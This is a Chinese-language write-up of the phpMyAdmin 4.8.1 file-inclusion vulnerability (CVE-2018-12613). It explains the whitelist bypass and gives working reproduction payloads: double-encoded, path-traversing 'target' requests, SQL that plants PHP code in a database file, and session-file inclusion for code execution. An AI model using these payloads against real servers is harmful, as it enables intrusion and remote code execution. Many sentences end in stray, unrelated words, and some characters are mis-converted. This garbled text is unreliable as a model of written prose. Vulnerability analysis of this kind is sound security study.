phpmyadmin 4.8.1 遠程文件包含漏洞(CVE-2018-12613)

漏洞詳情

  • 範圍 phpMyAdmin 4.8.0和4.8.1
  • 原理 首先在index.php 50-63行代碼
$target_blacklist = array (
    'import.php', 'export.php'
);

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

知足5個條件後就會include$_REQUEST['target']的內容php

  • $_REQUEST['target']不爲空
  • $_REQUEST['target']是字符串
  • $_REQUEST['target']不以index開頭
  • $_REQUEST['target']不在$target_blacklist中 'import.php', 'export.php'
  • Core::checkPageValidity($_REQUEST['target'])爲真 代碼在libraries\classes\Core.php 443-476行
public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

$whitelist一開始未傳參過來,因此會被賦值爲self::$goto_whitelistsql

public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
        'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
);

若是$page在白名單中就會直接return true,但這裏考慮到了可能帶參數的狀況,因此有了下面的判斷數據庫

$_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;

mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] ) : int 查找 string 在一個 string 中首次出現的位置。基於字符數執行一個多字節安全的 strpos() 操做。 第一個字符的位置是 0,第二個字符的位置是 1,以此類推。安全

$_page是取出$page問號前的東西,是考慮到target有參數的狀況,只要$_page在白名單中就直接return true 但還考慮了url編碼的狀況,因此若是這步判斷未成功,下一步又進行url解碼服務器

$_page = urldecode($page);

        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

因此傳入二次編碼後的內容,會讓checkPageValidity()這個函數返回true,但index中實際包含的內容卻不是白名單中的文件 例如傳入 ?target=db_datadict.php%253f 因爲服務器會自動解碼一次,因此在checkPageValidity()中,$page的值一開始會是db_datadict.php%3f,又一次url解碼後變成了db_datadict.php?,此次便符合了?前內容在白名單的要求,函數返回true 但在index.php中$_REQUEST['target']仍然是db_datadict.php%3f,並且會被include,經過目錄穿越,就可形成任意文件包含session

漏洞復現

phpMyAdmin-4.8.1-all-languages.zip 官網可下4.8.1版本app

任意文件包含

經過目錄穿越包含任意文件 ?target=db_datadict.php%253f/../../../../../../../../../Windows/DATE.ini 函數

任意代碼執行

  • 包含數據庫文件 先執行SQL語句查詢一下數據庫路徑 show global variables like "%datadir%"; 向數據庫寫入php代碼
CREATE DATABASE rce;
use rce;
CREATE TABLE rce(code varchar(100));
INSERT INTO rce(code) VALUES("<?php phpinfo(); ?>");

而後包含該數據庫文件 ?target=db_datadict.php%253f/../../../../../../../../../phpStudy/PHPTutorial/MySQL/data/rce/rce.MYD 編碼

  • 包函session文件 session路徑的視環境而定

?target=db_datadict.php%253f/../../../../../../../../../phpStudy/PHPTutorial/tmp/tmp/sess_imnnv91q886sfboa2sqos02b7njvho24url

參考: phpmyadmin 4.8.1任意文件包含 phpmyadmin4.8.1遠程文件包含漏洞(CVE-2018-12613)

相關文章
相關標籤/搜索